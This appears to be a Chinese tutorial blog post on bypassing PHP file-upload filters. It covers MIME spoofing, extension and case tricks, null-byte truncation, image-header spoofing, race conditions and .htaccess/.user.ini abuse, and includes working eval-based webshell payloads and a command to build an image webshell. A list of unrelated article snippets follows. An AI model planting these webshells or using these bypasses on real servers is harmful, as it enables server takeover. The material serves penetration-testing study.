文件上传漏洞~php

news2024/12/24 3:10:58

目录

上传文件一般过滤方式

客服端校验

服务端校验

黑白名单机制

常规文件上传漏洞绕过

客户端绕过

1.游览器禁用JavaScript

2.正常burp suite抓包改包

服务端绕过

1.Content-Type绕过

2.黑名单绕过

1)命名规则绕过

2)大小写绕过

3)末尾空格绕过

4)末尾“.”绕过

5)文件末尾添加::$DATA绕过

6)双写绕过

3.白名单绕过

1)00截断(%00)绕过

2)文件头检测绕过

3)图片二次渲染绕过

4)条件竞争

特殊文件上传漏洞绕过

.htaccess绕过

fastcgi的.user.ini绕过


上传文件一般过滤方式

客服端校验

  • 使用JavaScript校验

服务端校验

  • 检查Content-Type (内容类型)
  • 检查后缀
  • 检查文件头

黑白名单机制

  • 黑名单:禁用上传的类型
  • 白名单:只允许上传指定类型

常规文件上传漏洞绕过

客户端绕过

1.游览器禁用JavaScript

2.正常burp suite抓包改包

服务端绕过

1.Content-Type绕过

文件扩展名

Mime-Type

.js

application/x-javascript

.html

text/html

.jpg

image/jpeg

.png

image/png

.pdf

application/pdf

只是检查一下文件的上传格式,mime校验

使用burp suite抓包改包就行

2.黑名单绕过

1)命名规则绕过

php中,默认状态下.php3、.php4、.php5、.phtml 都是会被解析为php。

尝试 .php1~.php9 ,.phps,.htaccess等后缀名。

2)大小写绕过

没有 strtolower()函数,说明不存在大小写过滤,因此可以考虑大小写绕过

比如:.Php、PHp、PHP、pHP、phP、PhP等。

3)末尾空格绕过

Linux:没有trim($file_ext)对首尾去空的函数,则可以在文件尾后面添加一个空格。

比如:'.php'过滤,则不会匹配'.php '结尾的文件,服务器仍然会正常解析。

4)末尾“.”绕过

Linux:没有deldot($file_name)删除文件名末尾的点函数,则可以在文件尾后面添加一个“.”。

比如:对于'.php'过滤,则不会过滤掉'.php.'文件。

5)文件末尾添加::$DATA绕过

在windows上,如果文件名+"::$DATA",会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名。(Windows文件流绕过)

比如:"phpinfo.php::$DATA",Windows会自动去掉末尾的::$DATA变成"phpinfo.php"。

6)双写绕过

在过滤一些字符时,有时只会过滤一次,可以写两次绕过。

或某些函数去除“.”和空格只去除一次,可以进行多写几个空格和“.”绕过

比如:.pphphp,从左往右匹配到第一个php时去掉变为.php,达到了绕过的目的

3.白名单绕过

1)00截断(%00)绕过

有些函数,会把字符的ascii码值为0,当做结束符

基于GET的00截断

基于POST的00截断

burp suite抓包改包,如:“1.phpa”,在Hex里改a的ASCII“61”为“00”

2)文件头检测绕过

有的文件上传,上传时会检测文件头,不同的文件,文件头也不一样,常见的文件上传图片头检测 它检测图片两个字节长度,如果不是图片格式,会禁止上传文件。

a.可以添加GIF89a

#常见的图片文件头
JPG:FF D8 FF E0 00 10 4A 46 49 46
GIF:47 49 46 38 39 61(GIF89a)
PNG:89 50 4E 47

b.可以制作图片马

准备图片1.png与恶意脚本test.php。

cmd下执行下面代码,即可获取图片马。

copy 1.png/b+test.php test.png
# 参数/b指定以二进制格式复制、合并文件,用于图像类/声音类文件
copy 1.png/b+test.text/a test.png
# 参数/a指定以ASCII格式复制、合并文件,用于txt等文档类文件

3)图片二次渲染绕过

有的文件上传后,会对上传的图片进行二次渲染后在保存,体积可能会更小,图片会模糊一些,但是符合网站的需求。例如新闻图片封面等可能需要二次渲染,因为原图片占用的体积更大。访问的人数太多时候会占用,很大带宽。二次渲染后的图片内容会减少,如果里面包含后门代码,可能会被省略。导致上传的图片马,恶意代码被清除。

首先判断图片是否允许上传 gif,gif 图片在二次渲染后,与原图片差别不会太大。 所以二次渲染攻击最好用 gif 图片马。

将渲染后的图片和原图进行比较

找相同处,覆盖字符串,填写一句话木马或者恶意指令

原图片与渲染后的图片这个位置的字符串没有改变,在原图片这个位置替换,然后直接上传即可

4)条件竞争

上传-->保存-->检测-->删除

与删除函数竞争,在删除之前,能访问(执行)上传的文件。

上传的文件是一个能生成木马的文件,

比如文件test.php:<?php fwrite(fopen('muma.php','w'),'<?php @eval($_POST[muma]);?>');?>

a.用burp suite持续上传文件(test.php)

b.用burp suite持续访问上传的文件(test.php)

c.getshell,连接muma.php

特殊文件上传漏洞绕过

.htaccess绕过

上传.htaccess文件,添加解析AddType application/x-httpd-php .jpg

例如:AddType application/x-httpd-php .jpg 这个指令代表着.jpg文件会当做php来解析。

fastcgi的.user.ini绕过

.user.ini

GIF89a
auto_prepend_file=1.png

图片

1.png

GIF89a
<?=eval($_REQUEST['pass']); ?>

getshell

http://ip:port/xxx/xxx.php
pass

当 auto_prepend_file 配置启用后,PHP 在执行每个脚本之前会自动将指定的文件包含进来,作为脚本的一部分。这个文件可以包含一些通用的代码、函数、类或初始化操作,以便在每个脚本中都能自动执行。

因此,我们可以传入.user.ini文件,通过auto_prepend_file将含有一句话木马的文件名称包含到每个文件中。然后再上传该文件。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1002375.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

香橙派使用外设驱动库wiringOP 配合时间函数来驱动测距模块

模块认识和硬件接线 回顾之前关于超声波测距模块的学习&#xff1a; 使用HC-SR04实现超声波测距_hcsr04测距范围_mjmmm的博客-CSDN博客 并再次回顾香橙派的物理引脚对应&#xff1a; 所以这里&#xff0c;将VCC接到 2&#xff0c;GND接到 9&#xff0c;Trig接到 16&#xff0…

Material Design系列探究之LinearLayoutCompat

谷歌Material Design推出了许多非常好用的控件&#xff0c;所以我决定写一个专题来讲述MaterialDesign&#xff0c;今天带来Material Design系列的第一弹 LinearLayoutCompat。 以前要在LinearLayout布局之间的子View之间添加分割线&#xff0c;还需要自己去自定义控件进行添加…

【C++】哈希——哈希的概念,应用以及闭散列和哈希桶的模拟实现

前言&#xff1a; 前面我们一同学习了二叉搜索树&#xff0c;以及特殊版本的平衡二叉搜索树&#xff0c;这些容器让我们查找数据的效率提高到了O(log^2 N)。虽然效率提高了很多&#xff0c;但是有没有一种理想的方法使得我们能提高到O(1)呢&#xff1f;其实在C语言数据结构中&a…

【面试题】前端开发中如何高效渲染大数据量?

前端面试题库 &#xff08;面试必备&#xff09; 推荐&#xff1a;★★★★★ 地址&#xff1a;前端面试题库 【国庆头像】- 国庆爱国 程序员头像&#xff01;总有一款适合你&#xff01; 在日常工作中&#xff0c;较少的能遇到一次性往页面中插入大量数据的场景…

智能合约漏洞案例,DEI 漏洞复现

智能合约漏洞案例&#xff0c;DEI 漏洞复现 1. 漏洞简介 https://twitter.com/eugenioclrc/status/1654576296507088906 2. 相关地址或交易 https://explorer.phalcon.xyz/tx/arbitrum/0xb1141785b7b94eb37c39c37f0272744c6e79ca1517529fec3f4af59d4c3c37ef 攻击交易 3. …

演讲笔记|《一个ppt者的成长故事》

前言&#xff1a;本文为《说服力&#xff1a;工作型PPT该这样做》作者、秋叶PPT团队成员秦阳于2017年1月15日在北京望界无界空间的演讲内容要点总结。 1. 结构化思考&#xff08;思考能力&#xff09; 体系&#xff1a;挖多个坑&#xff0c;多个视角&#xff08;构建体系 – 获…

Java 锁(synchronized)升级过程

java中的锁是针对对象而言的&#xff0c;它锁住的是一个对象&#xff0c;并且具有可重入的性质。 java中的对象内存结构如图所示 普通对象内存结构: 数组对象内存结构&#xff1a; 其中关于锁状态的记录主要存储在_mark&#xff08;markword&#xff09;中&#xff0c;markwor…

Android窗口层级(Window Type)分析

前言 Android的窗口Window分为三种类型&#xff1a; 应用Window&#xff0c;比如Activity、Dialog&#xff1b;子Window&#xff0c;比如PopupWindow&#xff1b;系统Window&#xff0c;比如Toast、系统状态栏、导航栏等等。 应用Window的Z-Ordered最低&#xff0c;就是在系…

C++之结构体智能指针shared_ptr实例(一百九十四)

简介&#xff1a; CSDN博客专家&#xff0c;专注Android/Linux系统&#xff0c;分享多mic语音方案、音视频、编解码等技术&#xff0c;与大家一起成长&#xff01; 优质专栏&#xff1a;Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 人生格言&#xff1a; 人生…

每日一博 - CRUD system VS Event sourcing design

文章目录 概念Arch Overview小结 概念 CRUD 系统和事件溯源设计是两种不同的软件架构方法&#xff0c;用于处理数据和应用程序的状态。以下是它们的区别以及各自适用的场景&#xff1a; CRUD 系统&#xff1a; CRUD 代表 Create&#xff08;创建&#xff09;、Read&#xff08…

JWT 使用教程 授权 认证

JWT 1.什么是JWT JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally s…

Android Studio实机同WIFI调试

1.点击Pair using Wi-Fi 2.手机扫描跳出来的二维码 小米手机可搜索无线调试进行adb 调试

【AI】数学基础——最优化

从本质上讲&#xff0c;人工智能的目标就是最优化——在复杂环境中与多体交互中做出最优决策 几乎所有的人工智能问题都会归结为一个优化问题 在线性搜索中&#xff0c;确定寻找最小值时的搜索方向需要使用目标函数的一阶导数和二阶导数置信域的思想是先确定搜索步长&#xff0…

【源码】JavaWeb+Mysql招聘管理系统 课设

简介 用idea和eclipse都可以&#xff0c;数据库是mysql&#xff0c;这是一个Java和mysql做的web系统&#xff0c;用于期末课设作业 cout<<"如果需要的小伙伴可以http://www.codeying.top";可定做课设 线上招聘平台整合了各种就业指导资源&#xff0c;通过了…

Pytorch Advanced(三) Neural Style Transfer

神经风格迁移在之前的博客中已经用keras实现过了&#xff0c;比较复杂&#xff0c;keras版本。 这里用pytorch重新实现一次&#xff0c;原理图如下&#xff1a; from __future__ import division from torchvision import models from torchvision import transforms from PIL…

金蝶云星空和四化智造MES(WEB)单据接口对接

金蝶云星空和四化智造MES&#xff08;WEB&#xff09;单据接口对接 接入系统&#xff1a;四化智造MES&#xff08;WEB&#xff09; MES建立统一平台上通过物料防错防错、流程防错、生产统计、异常处理、信息采集和全流程追溯等精益生产和精细化管理&#xff0c;帮助企业合理安排…

Linux中安装MySQL_图解_2023新

1.卸载 为了避免不必要的错误发生,先将原有的文件包进行查询并卸载 // 查询 rpm -qa | grep mysql rpm -qa | grep mari// 卸载 rpm -e 文件名 --nodeps2.将安装包上传到指定文件夹中 这里采用的是Xftp 3.将安装包进行解压 tar -zxvf 文件名 -C 解压路径4.获取解压的全路…

春秋云镜 CVE-2015-9331

春秋云镜 CVE-2015-9331 wordpress插件 WordPress WP All Import plugin v3.2.3 任意文件上传 靶标介绍 wordpress插件 WordPress WP All Import plugin v3.2.3 存在任意文件上传&#xff0c;可以上传shell。 启动场景 漏洞利用 exp #/usr/local/bin/python3 # -*-coding:…

基础设施SIG月度动态:「龙蜥大讲堂」基础设施系列专题分享完美收官,容器镜像构建 2.0 版本上线

基础设施 SIG&#xff08;OpenAnolis Infra SIG&#xff09;目标&#xff1a;负责 OpenAnolis 社区基础设施工程平台的建设&#xff0c;包括官网、Bugzilla、Maillist、ABS、ANAS、CI 门禁以及社区 DevOps 相关的研发工程系统。 01 SIG 整体进展 1. 龙蜥大讲堂 - 基础设施系…

mac 本地运行 http-proxy-middleware ,请求超时

const http require(http)"/customer": {target: "http://10.10.111.192:8080/",// target: "http://user.jinfu.baohan.com/",changeOrigin: true, // 是否启用跨域// 解决mac 代理超时问题headers: {Connection: "keep-alive"},// …